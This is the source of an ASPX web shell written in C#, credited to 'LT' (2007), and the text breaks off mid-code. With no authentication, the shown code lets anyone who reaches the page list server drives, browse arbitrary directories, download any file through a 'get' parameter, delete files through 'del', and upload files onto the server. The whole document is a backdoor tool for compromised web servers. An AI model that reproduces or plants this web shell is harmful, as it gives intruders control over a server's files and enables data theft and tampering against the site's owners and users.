<%-- ASPX Shell by LT <lt@mac.hush.com> (2007) --%><%@ Page Language="C#" EnableViewState="false" %><%@ Import Namespace="System.Web.UI.WebControls" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><% string outstr = ""; // get pwd string dir = Page.MapPath(".") + "/"; if (Request.QueryString["fdir"] != null) dir = Request.QueryString["fdir"] + "/"; dir = dir.Replace("\\", "/"); dir = dir.Replace("//", "/"); // build nav for path literal string[] dirparts = dir.Split('/'); string linkwalk = ""; foreach (string curpart in dirparts) { if (curpart.Length == 0) continue; linkwalk += curpart + "/"; outstr += string.Format("<a href='?fdir={0}'>{1}/</a> ", HttpUtility.UrlEncode(linkwalk), HttpUtility.HtmlEncode(curpart)); } lblPath.Text = outstr; // create drive list outstr = ""; foreach(DriveInfo curdrive in DriveInfo.GetDrives()) { if (!curdrive.IsReady) continue; string driveRoot = curdrive.RootDirectory.Name.Replace("\\", ""); outstr += string.Format("<a href='?fdir={0}'>{1}</a> ", HttpUtility.UrlEncode(driveRoot), HttpUtility.HtmlEncode(driveRoot)); } lblDrives.Text = outstr; // send file ? if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0)) { Response.ClearContent(); Response.WriteFile(Request.QueryString["get"]); Response.End(); } // delete file ? if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0)) File.Delete(Request.QueryString["del"]); // receive files ? if(flUp.HasFile) { string fileName = flUp.FileName; int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' }); if (splitAt >= 0) fileName = flUp.FileName.Substring(splitAt); flUp.SaveAs(dir + "/" + fileName); } // enum directory and generate listing in the right pane DirectoryInfo di = new DirectoryInfo(dir); outstr = ""; foreach (DirectoryInfo curdir in di.GetDirectories()) { string fstr = string.Format("<a href='?fdir={0}'>{1}</a>", HttpUtility.UrlEncode(dir + "/" + curdir.Name), HttpUtility.HtmlEncode(curdir.Name)); outstr += string.Format("